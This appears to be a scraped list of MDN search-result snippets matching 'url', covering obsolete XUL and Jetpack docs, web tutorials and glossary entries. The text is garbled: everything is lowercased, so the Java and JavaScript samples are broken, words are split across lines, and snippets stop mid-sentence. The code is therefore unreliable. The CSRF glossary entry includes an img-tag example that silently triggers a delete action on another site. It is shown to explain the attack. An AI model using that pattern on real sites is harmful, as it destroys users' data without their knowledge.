import org.eclipse.swt.widgets.display; import org.eclipse.swt.widgets.shell; import org.mozilla.xpcom.nsidomdocument; public class test { public static void main(string args[]) { display display = new display(); shell shell = new shell(display); final mozillabrowser browser = new mozillabrowser(shell,wt.border); browser.set
url("http://www.google.com"); browser.addprogresslistener(new progresslistener() { public void changed(progressevent event) { } public void completed(progressevent event) { nsidomdocument doc = browser.getdocument(); system.out.println(doc); ...
Downloading Nightly or Trunk Builds - Archive of obsolete content
these are the "tinderbox builds", also known as "ho
urly builds" though it usually takes more than one hour to make one; they are followed by automatic tests and their main purpose is to check that nothing is horridly wrong with the latest change to the source: what they are doing is to constantly check that the current source can be built into an executable and that that executable passes a certain more-or-less fixed set of tests.
Notifications - Archive of obsolete content
titlethe head of the notification message.string bodythe message itself.stringfalse iconthe
url of an .ico file.string jetpack.notifications.show("hello world"); var mybody = " my first message body on jetpack"; var myicon = "http://www.mozilla.com/favicon.ico"; jetpack.notifications.show({title: "my first message on jetpack", body: mybody, icon: myicon}); ...
statusBar - Archive of obsolete content
syntax jetpack.statusbar.append(options); possible options are:
url width (string/length) the width of the panel-item html (string) the html code which will be used inside the item onload (event) this event fires when the item was appended.
Makefile.mozextension.2 - Archive of obsolete content
xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <id>$(project_id)</id> <name>$(project_name)</name> <version>$(project_version)</version> <description>$(project_desc)</description> <creator>$(project_author)</creator> <contributor>here is a place for you who helped me</contributor> <homepage
url>http://$(project).mozdev.org/</homepage
url> <options
url>chrome://$(project)/content/settings.xul</options
url> <about
url>chrome://$(project)/content/about.xul</about
url> <icon
url>chrome://$(project)/skin/mainicon.png</icon
url> <update
url>http://$(project).mozdev.org/update.rdf</update
url> <type>2</type> <targetapplication> <description> <id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</id> <...
BlogPosts - Archive of obsolete content
a prism - a revolution in web apps thanscorner: mozilla webrunner 0.7 site specific browsers webrunner using webrunner webrunner + gears = offline desktop reader webrunner 0.5 webrunner 0.5 - mac support webrunner 0.5 - linux install webrunner, google reader, and google notebook distraction free gtd - 32+ web app files for online todo lists mozilla webrunner: a one-window, tabless browser with no
url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism portable (spanish) prism, l'avenir des applications web selon mozilla (french) mozilla prism : bundle custom google reader + talk (french) just browsing: site-specific browsers ...
Bundles - Archive of obsolete content
how-to here is a simple way to build a basic web application bundle: create file called webapp.ini that contains something like: [parameters] id=unique-app-id@unique-author-id.whatever name=webapp name uri=http://[the-
url-what-you-want-to-connect-to]/ status=yes location=no sidebar=no navigation=no zip the file to [whatever].webapp double-click the webapp bundle or use prism -webapp [path-to-webapp] structure a bundle can contain the following files.
currentIndex - Archive of obsolete content
t language ="javascript"> function treerowclicked(){ var tree = document.getelementbyid("my-tree"); var selection = tree.view.selection; var celltext = tree.view.getcelltext(tree.currentindex, tree.columns.getcolumnat(0)); alert(celltext); } </script> <tree id="my-tree" seltype="single" onselect="treerowclicked()"> <treecols> <treecol label="title" flex="1"/><treecol label="
url" flex="1"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treecell label="let's do lunch"/> </treerow> </treeitem> </treechildren> </tree> see also lis...
Property - Archive of obsolete content
documentcharsetinfo editable editingcolumn editingrow editingsession editor editortype emptytext deprecated since gecko 2 enablecolumndrag eventnode firstordinalcolumn firstpermanentchild flex focused focuseditem forcecomplete group handlectrlpageupdown handlectrltab hasuservalue height hidden hideseconds highlightnonmatches homepage hour ho
urleadingzero id ignoreblurwhilesearching image increment inputfield inverted is24hourclock ispm issearching iswaiting itemcount label labelelement lastpermanentchild lastselected left linkedpanel listboxobject locked markupdocumentviewer max maxheight maxlength maxrows maxwidth menu menuboxobject menupopup min minheight minresultsforpopup...
Building Hierarchical Trees - Archive of obsolete content
ren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://www.xulplanet.com/rdf/address"/> <treecell label="rdf:http://www.xulplanet.com/rdf/floors"/> </treerow> </treeitem> </treechildren> </rule> <rule> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://p
url.org/dc/elements/1.1/title"/> </treerow> </treeitem> </treechildren> </rule> </template> </tree> the first rule is for the houses as indicated by the rule's condition and the second rule is for the streets.
Building Menus With Templates - Archive of obsolete content
" ref="http://www.xulplanet.com/rdf/myneighbourhood" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <template> <rule rdf:type="http://www.xulplanet.com/rdf/house"> <menupopup> <menuitem uri="rdf:*" label="rdf:http://www.xulplanet.com/rdf/address"/> </menupopup> </rule> <rule> <menupopup> <menu uri="rdf:*" label="rdf:http://p
url.org/dc/elements/1.1/title"/> </menupopup> </rule> </template> </button> this example uses the simple rdf query syntax.
Multiple Rules - Archive of obsolete content
a multiple rule template looks like the following: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> </query> <rule> <where subject="?title" rel="equals" value="canal"/> <action> <button uri="?photo" image="?photo" label="view" orient="vertical"/> </action> </rule> <rule> <action> <image uri="?photo" src="?photo"/> </action> </rule> </template> </hbox> this template co...
Result Generation - Archive of obsolete content
a resource's value is a uri which for your own rdf data you can just make up (though if you plan to use your model with others, it should be unique, preferably a
url for a site you own, so as to avoid future conflicts with mixing of other types).
Tree Widget Changes - Archive of obsolete content
(do not set id of the column to be 'checked' it will cause problems with the css) treechildren::-moz-tree-checkbox(checked) { /* css for checked cells */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } in addition, checkmark columns support editing: <tree editable="true"> <treecols> <treecol type="checkbox" editable="true"> ...
Anonymous Content - Archive of obsolete content
for example, a simplified version of an editable menulist element, might be created as follows: xul: <menu class="dropbox"> <menupopup> <menuitem label="1000"/> <menuitem label="2000"/> </menupopup> </menu> css: menu.dropbox { -moz-binding:
url('chrome://example/skin/example.xml#dropbox'); } xbl: <binding id="dropbox"> <content> <children/> <xul:textbox flex="1"/> <xul:button src="chrome://global/skin/images/dropbox.jpg"/> </content> </binding> this example creates an input field with a button beside it.
Localization - Archive of obsolete content
to do this, add a line of the following form somewhere near the top of the xul file: <!doctype window system "chrome://findfile/locale/findfile.dtd"> this line specifies that the
url indicated is to be used as a dtd for the file.
Modifying the Default Skin - Archive of obsolete content
you can assign images to a button, checkbox and other elements by using the list-style-image property as in the following: checkbox { list-style-image:
url("chrome://findfile/skin/images/check-off.jpg"); } checkbox[checked="true"] { list-style-image:
url("chrome://findfile/skin/images/check-on.jpg"); } this code changes the image associated with a checkbox.
Property Files - Archive of obsolete content
use a chrome
url to read a file from the locale: <stringbundleset id="stringbundleset"> <stringbundle id="strings" src="chrome://myplugin/locale/strings.properties"/> </stringbundleset> like other non-displayed elements, you should declare all your stringbundles inside a stringbundleset element so that they are all kept together.
XBL Example - Archive of obsolete content
<box class="slideshow" previoustext="previous" nexttext="next" flex="1"> <button label="button 1"/> <checkbox label="checkbox 2"/> <textbox/> </box> the style sheet used here is: .slideshow { -moz-binding:
url("slideshow.xml#slideshow"); } the first button, button 1 has been used as the first page of the deck.
XUL Tutorial - Archive of obsolete content
introduction introduction xul structure the chrome
url manifest files simple elements creating a window adding buttons adding labels and images input controls numeric controls list controls progress meters adding html elements using spacers more button features the box model the box model element positioning box model details groupboxes adding more elements more layout elements stacks and decks stack positioning tabboxes grids content panels splitters toolbars and menus toolbars simple menu bars more menu features popup menus scrolling menus events and scripts adding event h...
Using the standard theme - Archive of obsolete content
s simply add one <tt>xml-stylesheet</tt> processing instruction for every style sheet you want to associate with your xul file: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="chrome://myextension/skin/custom.css" type="text/css"?> <tt>@import</tt> chains first, import the global skin in your custom style sheet using the css <tt>@import</tt> rule: @import
url("chrome://global/skin/"); you then have to associate your xul file with your custom style sheet only: <?xml-stylesheet href="chrome://myextension/skin/custom.css" type="text/css"?> applying different custom style sheets depending on the selected theme mozilla is able to automatically pick your custom style sheet depending on the theme currently chosen by the user.
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
[setup] appname=my app appvername=my app 1.0 apppublisher=mark finkle apppublisher
url=http://developer.mozilla.org/en/docs/getting_started_with_xulrunner appsupport
url=http://developer.mozilla.org/en/docs/getting_started_with_xulrunner appupdates
url=http://developer.mozilla.org/en/docs/getting_started_with_xulrunner defaultdirname={pf}\my app defaultgroupname=my app allownoicons=yes outputdir=..\build\output outputbasefilename=myapp-1.0-win32 ; setupiconfile= compression=lzma soli...
Getting started with XULRunner - Archive of obsolete content
one way to achieve this is to run the following script everytime you want to install a new version: firefox_version=`grep -po "\d{2}\.\d+" /usr/lib/firefox/platform.ini` arch=`uname -p` x
url=https://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/$firefox_version/runtimes/xulrunner-$firefox_version.en-us.linux-$arch.tar.bz2 cd /opt sudo sh -c "wget -o- $x
url | tar -xj" sudo ln -s /opt/xulrunner/xulrunner /usr/bin/xulrunner sudo ln -s /opt/xulrunner/xpcshell /usr/bin/xpcshell you could also save this script to a file for convenience.
MacFAQ - Archive of obsolete content
taking advantage of the core code "open
url" from "nscommandlineservicemac.cpp", you'll see that it looks for "browser.chrome
url" before defaulting to navigator.xul, and this is called when an xulrunner app is already running, so: create a default preference of "browser.chrome
url" that points to your new "hiddenwindow" as such: "chrome://myxul/content/hiddenwindow.xul" next take the code below and drop it in, to create the hiddenwindow...
Opening a Link in the Default Browser - Archive of obsolete content
this is how you do it: var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); if (extps.externalprotocolhandlerexists("http")) { // handler for http://
urls exists } link within an iframe to enable a link inside an html document that is the "src" of an iframe to be opened in the default browser, setting the preference: pref("network.protocol-handler.expose-all", false); seems to work.
Windows and menus in XULRunner - Archive of obsolete content
here’s the css file: /* global skin --------------------------------------------------- */ @import
url(chrome://global/skin/); /* toolbar ------------------------------------------------------- */ #open { list-style-image:
url(chrome://basicapp/skin/open.png); -moz-box-orient: vertical; } #save { list-style-image:
url(chrome://basicapp/skin/save.png); -moz-box-orient: vertical; } of course, you need to make sure the png files are included in the application.
2006-11-10 - Archive of obsolete content
william vanderpol asks, regarding remote xul applications, if is it possible (or does it exist?) to have an extension that will allow chrome access to certain specified
url's?
2006-09-06 - Archive of obsolete content
how to build xpcom component on mac os x a tutorial on how to build xpcom component on mac os x firefox crashes when calling a function provided by a .so library a solution to the problem loading a shared library when using xpcom firefoxes crashes while getting
url in xpcom solutions to resolve the problem of the firefox crash when trying to get the path and the prepath of the
url of the current page in xpcom meetings none during this week.
2006-12-08 - Archive of obsolete content
saving binary data from nsixmlhttprequest a discussion on how to use nsixmlhttprequest object to query data from a
url in an extension implemented in javascript meetings none during this week.
Browser-side plug-in API - Archive of obsolete content
npn_destroystream npn_forceredraw npn_getauthenticationinfo npn_get
url npn_get
urlnotify npn_getvalue npn_getvaluefor
url npn_invalidaterect npn_invalidateregion npn_memalloc npn_memflush npn_memfree npn_newstream npn_pluginthreadasynccall npn_poppopupsenabledstate npn_post
url npn_post
urlnotify npn_pushpopupsenabledstate npn_reloadplugins npn_requestread npn_setvalue npn_setvaluefor
url npn_status npn_useragent npn_version npn_write ...
NPN_GetValue - Archive of obsolete content
abled, false=not enabled npnvasdenabledbool: tells whether smartupdate (former name: asd) is enabled; true=smartupdate enabled, false=not enabled npnvisofflinebool: tells whether offline mode is enabled; true=offline mode enabled, false=not enabled npnvtoolkit: npnvsupportsxembedbool: npnvwindownpobject: returns the npobject * pointer for the dom window object; see getting the page
url in npapi plugin for a rough example npnvpluginelementnpobject: npnvsupportswindowless: tells whether the browser supports windowless plugins.
NPN_Status - Archive of obsolete content
if your plug-in has a button or other object that acts as a link when clicked, you can call npn_status() to display a description or
url when the user moves the cursor over it.
NPAPI plug-in side API - Archive of obsolete content
npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_
urlnotify npp_write npp_writeready ...
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
an example using the most popular element of the rss content module is shown below: <?xml version="1.0"?> <rss version="2.0" xmlns:content="http://p
url.org/rss/1.0/modules/content/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>a link in here</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
an example using the most popular element of the rss slash module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://p
url.org/rss/1.0/modules/slash/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>review of sin city</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:200...
0.90 - Archive of obsolete content
<rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://my.netscape.com/rdf/simple/0.9/" > <channel> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </channel> <image> <title>mozilla</title> <
url>http://www.mozilla.org/images/moz.gif</
url> <link>http://www.mozilla.org</link> </image> <item> <title>new status updates</title> <link>http://www.mozilla.org/status/</link> </item> <item> <title>bugzilla reorganized</title> <link>http://www.mozilla.org/bugs/</link> </item> <item> ...
title - Archive of obsolete content
lish/formats/rss-0.91.dtd"> <rss version="0.91"> <channel> <title>advogato</title> <link>http://www.advogato.org/article/</link> <description>recent advogato articles</description> <language>en-us</language> <image> <link>http://www.advogato.org/</link> <title>advogato</title> <
url>http://www.advogato.org/image/tinyadvogato.png</
url> </image> <item> <title>why can i not get any tang?!</title> <link>http://www.advogato.org/article/10101.html</link> <description>seriously.
Element - Archive of obsolete content
s managing editor element) n <name> (rss name element) o p <pubdate> (rss published date element) q r <rating> (rss rating element) <rss> (rss's root "rss" element) s <skipdays> (rss skip days element) <skiphours> (rss skip hours element) <source> (rss source element) t <textinput> (rss text input element) <title> (rss title element) <ttl> (rss ttl element) u <
url> (rss
url element) v w <webmaster> (rss web master element) <width> (rss width element) x y z ...
Introduction to Public-Key Cryptography - Archive of obsolete content
for comprehensive information about dns, see a string representation of distinguished names] at the following
url: https://www.ietf.org/rfc/rfc1485.txt a typical certificate every x.509 certificate consists of two sections: the data section includes the following information: the version number of the x.509 standard supported by the certificate.
Sunbird Theme Tutorial - Archive of obsolete content
nt from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:id="just-testing@example.com" em:name="just testing" em:creator="rod whiteley" em:description="a test theme for sunbird" em:homepage
url="http://developer.mozilla.org/" em:version="0.1" em:internalname="testing" em:type="4" > <em:targetapplication><!-- sunbird --> <description em:id="{718e30fb-e89b-41dd-9da7-e25a45638b28}" em:minversion="0.2.9" em:maxversion="0.4" /> </em:targetapplication> </description> </rdf> in the line that starts <tt>em:id</tt>, paste your identifier b...
contents.rdf - Archive of obsolete content
yntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:author
url="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="...
install.rdf - Archive of obsolete content
3a3a9e97384}</em:id> <em:minversion>min_ff_version</em:minversion> <em:maxversion>max_ff_version</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <!-- my_theme --> <em:name>my_theme</em:name> <em:description>my_theme</em:description> <em:creator>your_name</em:creator> <em:contributor>contributors_names</em:contributor> <em:homepage
url>themes_homepage</em:homepage
url> <em:update
url>
url_of_update_location </em:update
url> <em:about
url>
url_of_about_page </em:about
url> <!-- front end integration hooks (used by theme manager)--> <em:internalname>my_theme</em:internalname> </description> </rdf> ...
Making sure your theme works with RTL locales - Archive of obsolete content
instead, you should use the following start/end rules instead to ensure rtl compatibility: -moz-padding-start -moz-padding-end -moz-margin-start -moz-margin-end -moz-border-start -moz-border-start-color -moz-border-start-style -moz-border-start-width -moz-border-end -moz-border-end-color -moz-border-end-style -moz-border-end-width #
urlbar-search-splitter { min-width: 8px; -moz-margin-start: -4px; border: none; background: transparent; } testing your theme testing your theme for rtl compatibility is easy, and you do not even have to go through the hassle of downloading a rtl locale.
Theme changes in Firefox 3.5 - Archive of obsolete content
to do this only for 3.5 use a css selector that is only supported in 3.5, like so: window:not([active="true"]) menubar>menu:nth-child(1n) { color:threedshadow } private browsing: show private browsing state by coloring the
url bar, or by adding an icon to the toolbox/tabbrowserbar.
Theme changes in Firefox 3 - Archive of obsolete content
the rule that's needed to show and hide the go button and other location bar icons is: #
urlbar[pageproxystate="invalid"] > #
urlbar-icons > :not(#go-button) , #
urlbar[pageproxystate="valid"] > #
urlbar-icons > #go-button { visibility: collapse; } images to add add the following images: chrome://global/skin/icons/information-16.png used when presenting information notices.
Using workers in extensions - Archive of obsolete content
that file, ticker_worker.js, is shown here: var symbol = ""; function refreshinformation() { if (!symbol) { throw "no symbol set!"; } var full
url = "http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=" + symbol; function inforeceived() { var output = httprequest.responsetext; if (output) { postmessage(output.trim()); } httprequest = null; } var httprequest = new xmlhttprequest(); httprequest.open("get", full
url, true); httprequest.onload = inforeceived; httprequest.send(null); } setinter...
::-ms-clear - Archive of obsolete content
such inputs include: <input type="color"> <input type="date"> <input type="datetime"> <input type="datetime-local"> <input type="email"> <input type="month"> <input type="number"> <input type="search"> <input type="tel"> <input type="time"> <input type="
url"> <input type="week"> allowable properties only the following css properties can be used in a rule with ::-ms-clear in its selector.
XForms Repeat Element - Archive of obsolete content
erits="bind, model, nodeset" anonid="anonidgridrepeat"> <xf:trigger> <xf:label>r</xf:label> <xf:delete ev:event="domactivate" at="index('anonidgridrepeat')" xbl:inherits="model, bind, nodeset"/> </xf:trigger> </xf:repeat> </xbl:content> </xbl:binding> </xbl:bindings> <style> div.grid { -moz-binding:
url('#grid'); } </style> <xf:model> <xf:instance> <data xmlns=""> <repeat> <item> <input>input1</input> </item> <item> <input>input2</input> </item> <item> <input>input3</input> </item> </repeat> </data> </xf:instance> </xf:model> </head> <body> <xf:repeat ...
XQuery - Archive of obsolete content
xquseme is a working proof-of-concept (so far tested on windows and linux with java installed; mac does not work) extension which allows one to perform xqueries on external
urls, the currently loaded webpage (even if originally from poorly formed html), and/or xml (including well-formed xhtml) documents stored locally.
Archive of obsolete content
getting the page
url in npapi plugin sometimes, you want to restrict an npapi plugin to be loadable only from a certain
url or domain or scheme.
Game distribution - Game development
you can just send them a direct
url to access the game, which they can then click to play the game right away without the need to use third party plugins or download and install a large package.
Async scripts for asm.js - Game development
instead of using eval or innerhtml, both of which trigger synchronous compilation, you should use a blob with an object
url: var blob = new blob([codestring]); var script = document.createelement('script'); var
url =
url.createobject
url(blob); script.onload = script.onerror = function() {
url.revokeobject
url(
url); }; script.src =
url; document.body.appendchild(script); the setting of src rather than innerhtml is what makes this script async.
Unconventional controls - Game development
first, we add a <script> tag with the
url pointing at this file, and add <div id="output"></div> just before the closing </body> tag for outputting diagnostic information.
Bounce off the walls - Game development
it is very similar actually, all you have to do is to repeat the statements for x instead of y: if(x + dx > canvas.width || x + dx < 0) { dx = -dx; } if(y + dy > canvas.height || y + dy < 0) { dy = -dy; } at this point you should insert the above code block into the draw() function, just before the closing c
urly brace.
Finishing up - Game development
replace the following line: var interval = setinterval(draw, 10); with simply: draw(); and remove each instance of: clearinterval(interval); // needed for chrome to end game then, at the very bottom of the draw() function (just before the closing c
urly brace), add in the following line, which causes the draw() function to call itself over and over again: requestanimationframe(draw); the draw() function is now getting executed again and again within a requestanimationframe() loop, but instead of the fixed 10 milliseconds frame rate, we are giving control of the framerate back to the browser.
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
this can be done, for example, by including malicious parameters in a
url behind a link that purports to go somewhere else: <img src="https://www.example.com/index.php?action=delete&id=123"> for users who have modification permissions on https://www.example.com, the <img> element executes action on https://www.example.com without their noticing, even if the element is not at https://www.example.com.
Media (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge using media queries technical reference media queries define a set of characteristics or parameters required to apply the css styles that are specified within the c
urly braces of the media query; for example: only applying certain css styles for devices below 768 pixels.
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
lows it, then it will respond to the preflight request with an access-control-allow-methods response header, which lists delete: http/1.1 204 no content connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 the preflight response can be optionally cached for the requests created in the same
url using access-control-max-age header like in the above example.
Progressive web apps - MDN Web Docs Glossary: Definitions of Web-related terms
this involves taking standard web sites/apps that enjoy all the best parts of the web — such as discoverability via search engines, being linkable via
urls, and working across multiple form factors — and supercharging them with modern apis (such as service workers and push) and features that confer other benefits more commonly attributed to native apps.
Site - MDN Web Docs Glossary: Definitions of Web-related terms
per.mozilla.org/docs/ https://support.mozilla.org/ same site because the registrable domain of mozilla.org is the same http://example.com:8080 https://example.com same site because scheme and port are not relevant examples of different site https://developer.mozilla.org/docs/ https://example.com not same site because the registrable domain of the two
urls differs specifications specification status comment
url living standard initial definition ...
How do you upload your files to a web server? - Learn web development
open the filezilla application; you should see something like this: logging in for this example, we'll suppose that our hosting provider (the service that will host our http web server) is a fictitious company "example hosting provider" whose
urls look like this: mypersonalwebsite.examplehostingprovider.net.
How do I use GitHub Pages? - Learn web development
go to the github pages section again, and you should see a line of the form "your site is ready to be published at https://xxxxxx." if you click on this
url, you should go to a live version of your example, provided the home page is called index.html — it goes to this entry point by default.
UI pseudo-classes - Learn web development
controls with built-in validation, such as <input type="email"> or <input type="
url"> are (matched with) :invalid when the data entered into them does not match the pattern they are looking for (but they are valid when empty).
CSS basics - Learn web development
(for example, there are many color values in addition to red.) note the other important parts of the syntax: apart from the selector, each ruleset must be wrapped in c
urly braces.
Use JavaScript within a webpage - Learn web development
if you want to execute a .js script from your webpage, just use <script> with an src attribute pointing to the script file, using its
url: <script src="path/to/my/script.js"></script> writing javascript within html you may also add javascript code between <script> tags rather than providing an src attribute.
Advanced text formatting - Learn web development
blockquotes if a section of block level content (be it a paragraph, multiple paragraphs, a list, etc.) is quoted from somewhere else, you should wrap it inside a <blockquote> element to signify this, and include a
url pointing to the source of the quote inside a cite attribute.
Adding vector graphics to the Web - Learn web development
in the below code, older browsers will stick with the png that they understand, while newer browsers will load the svg: background:
url("fallback.png") no-repeat center; background-image:
url("image.svg"); background-size: contain; like the <img> method described above, inserting svgs using css background images means that the svg can't be manipulated with javascript, and is also subject to the same css limitations.
Introduction to web APIs - Learn web development
the following code provides a simple example of how this would be used: let request
url = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', request
url); request.responsetype = 'json'; request.send(); request.onload = function() { const superheroes = request.response; populateheader(superheroes); showheroes(superheroes); } note: you can see this code in action in our ajax.html example (see it ...
Manipulating documents - Learn web development
add the following line below the previous one: link.textcontent = 'mozilla developer network'; we should also change the
url the link is pointing to, so that it doesn't go to the wrong place when it is clicked on.
Video and Audio APIs - Learn web development
next, let's look at our button icons: @font-face { font-family: 'heydingscontrolsregular'; src:
url('fonts/heydings_controls-webfont.eot'); src:
url('fonts/heydings_controls-webfont.eot?#iefix') format('embedded-opentype'),
url('fonts/heydings_controls-webfont.woff') format('woff'),
url('fonts/heydings_controls-webfont.ttf') format('truetype'); font-weight: normal; font-style: normal; } button:before { font-family: heydingscontrolsregular; font-size: 20px; positi...
CSS performance optimization - Learn web development
@font-face { font-family: somefont; src:
url(/path/to/fonts/somefont.woff) format('woff'); font-weight: 400; font-style: normal; font-display: fallback; } the contain property the contain css property allows an author to indicate that an element and its contents are, as much as possible, independent of the rest of the document tree.
Getting started with Ember - Learn web development
we will however add lines to the ember-cli-build.js file to import our shared css files, so that they become part of our build without having to explicitly @import them into the app.css file (this would require
url rewrites at build time and therefore be less efficient and more complicated to set up).
Ember interactivity: Events, classes and state - Learn web development
add the new line shown below to your header.hbs file: <input class='new-todo' aria-label='what needs to be done?' placeholder='what needs to be done?' autofocus {{on 'keydown' this.onkeydown}} > this new attribute is inside double c
urly braces, which tells you it is part of ember's dynamic templating syntax.
Starting our Svelte Todo list app - Learn web development
to get rid of this, remove the name prop from src/main.js; it should now look like so: import app from './app.svelte' const app = new app({ target: document.body }) export default app now if you check your testing server
url you'll see our todos.svelte component being rendered: adding static markup for the moment we will start with a static markup representation of our app, so you can see what it will look like.
Handling common HTML and CSS problems - Learn web development
one service that can do this is the w3c markup validation service, which allows you to point to your code, and returns a list of errors: css has a similar story — you need to check that your property names are spelled correctly, property values are spelled correctly and are valid for the properties they are used on, you are not missing any c
urly braces, and so on.
Theme concepts
pload a new version using the developer hub with the following steps: visit the product page for your theme through the developer hub select "upload new version" on the left upload your packaged file for validation or modify it using the theme generator for self-hosted static themes, a new version can be updated through amo by following the above steps or be handled by you through an update
url or external application updates.
Creating a Language Pack
$ make wget-en-us en_us_binary_
url=http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-aurora if you're building on mac 64 bit, you'll need to change the command slightly: $ make wget-en-us en_us_binary_
url=http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-aurora moz_pkg_platform=mac at some point, you should see the following success message: downloaded http://ftp.mozilla.org/pub/mozilla...
Creating a Login Manager storage module
ub(arguments); }, getalldisabledhosts: function slms_getalldisabledhosts(count) { this.stub(arguments); }, getloginsavingenabled: function slms_getloginsavingenabled(hostname) { this.stub(arguments); }, setloginsavingenabled: function slms_setloginsavingenabled(hostname, enabled) { this.stub(arguments); }, findlogins: function slms_findlogins(count, hostname, formsubmit
url, httprealm) { this.stub(arguments); }, countlogins: function slms_countlogins(ahostname, aformsubmit
url, ahttprealm) { this.stub(arguments); } }; function nsgetmodule(compmgr, filespec) xpcomutils.generatemodule([sampleloginmanagerstorage]); sample c++ implementation bug 309807 contains a complete example.
Creating a spell check dictionary add-on
tion about="urn:mozilla:install-manifest"> <em:id>locale-code@dictionaries.addons.mozilla.org</em:id> <em:version>version number</em:version> <em:type>64</em:type> <em:unpack>true</em:unpack> <em:name>name</em:name> <!-- other install.rdf metadata such as em:localized, em:description, em:creator, em:developer, em:translator, em:contributor or em:homepage
url --> <!-- firefox --> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>18.0a1</em:minversion> <em:maxversion>46.0</em:maxversion> </description> </em:targetapplication> <!-- thunderbird --> <em:targetapplication> <description> <em:id>{3550f703-e582-4d0...
Debugging JavaScript
to enable it, go to about:config in the
url bar and set devtools.chrome.enabled to true, or set the "enable chrome and add-on debugging" option in the developer tool settings.
Debugging on Windows
some common options would be the
url of the file you want the browser to open as soon as it starts, starting the profile manager, or selecting a profile.
HTTP logging
open a new tab and type in "about:networking" into the
url bar.
Old Thunderbird build
closed), you may wish to consider building one of the branches (to pull the source code from a branch, just replace the
url to the repository in the hg clone instruction).
Simple Instantbird build
if the trunk is broken, you may wish to consider building one of the branches (to pull the source code from a branch, just replace the
url to the repository in the hg clone instruction).
Simple Sunbird build
ubuntu linux: sudo apt-get build-dep sunbird sudo apt-get install mercurial libasound2-dev libc
url4-openssl-dev libnotify-dev libiw-dev autoconf2.13 cvs fedora linux: sudo yum groupinstall 'development tools' 'development libraries' 'gnome software development' sudo yum install mercurial autoconf213 glibc-static libstdc++-static yasm wireless-tools-devel mesa-libgl-devel mac: install xcode tools.
Simple Thunderbird build
closed), you may wish to consider building one of the branches (to pull the source code from a branch, just replace the
url to the repository in the hg clone instruction).
Reviewer Checklist
privacy issues there should be no logging of
urls or content from which
urls may be inferred.
Error codes returned by Mozilla APIs
path_unexpected_end (0x80600014) ns_error_xpath_operator_expected (0x80600015) ns_error_xpath_unclosed_literal (0x80600016) ns_error_xpath_bad_colon (0x80600017) ns_error_xpath_bad_bang (0x80600018) ns_error_xpath_illegal_char (0x80600019) ns_error_xpath_binary_expected (0x8060001a) ns_error_xpath_invalid_expression_evaluated (0x8060001c) ns_error_xpath_unbalanced_c
urly_brace (0x8060001d) xslt errors errors that can occur when using xslt.
Security best practices for Firefox front-end engineers
developers are able to avoid tripping the rule by using escaping functions in combination with template strings, for example: bar.innerhtml = escapehtml`<a href='${
url}'>about</a>`; in system-privileged chrome code, any kind of remaining scripts will still be removed by our sanitizer.
HTMLIFrameElement.getScreenshot()
